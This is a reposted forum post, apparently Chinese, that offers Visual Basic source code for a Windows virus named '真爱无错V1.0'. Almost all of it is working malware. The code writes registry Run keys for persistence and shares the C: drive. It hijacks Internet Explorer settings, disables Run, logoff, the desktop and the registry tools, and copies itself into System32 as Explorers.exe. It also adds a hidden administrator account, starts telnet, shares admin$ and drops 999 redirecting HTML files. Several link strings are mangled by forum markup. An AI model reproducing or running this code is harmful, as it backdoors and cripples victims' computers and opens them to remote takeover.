【转载】【VB病毒源码】

Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在网上失恋的痛苦中诞生这套程序，也许只有它能表达我对他现在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成为朋友的就加我QQ：41678461！", vbApplicationModal, "真爱无错V1.0"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>[You must be registered and logged in to see this link.]")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>[You must be registered and logged in to see this link.]")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "藏王BLOG欢迎你！地址:[You must be registered and logged in to see this link.]！")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 & "\System32\Explorers.exe"
Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:\《真爱无错》" & "第" & i & "集" & ".htm" For Append As #1
Print #1, "alert(＇众人皆醒我独醉，心有灵犀最珍贵，邂逅真爱不后悔，今生只为你相随。有空和我聊聊吧，！＇)"
Print #1, "window.location=＇500)this.width=500" align=absMiddle border=0>[You must be registered and logged in to see this link.]"
Close #1
Next
End If
End Sub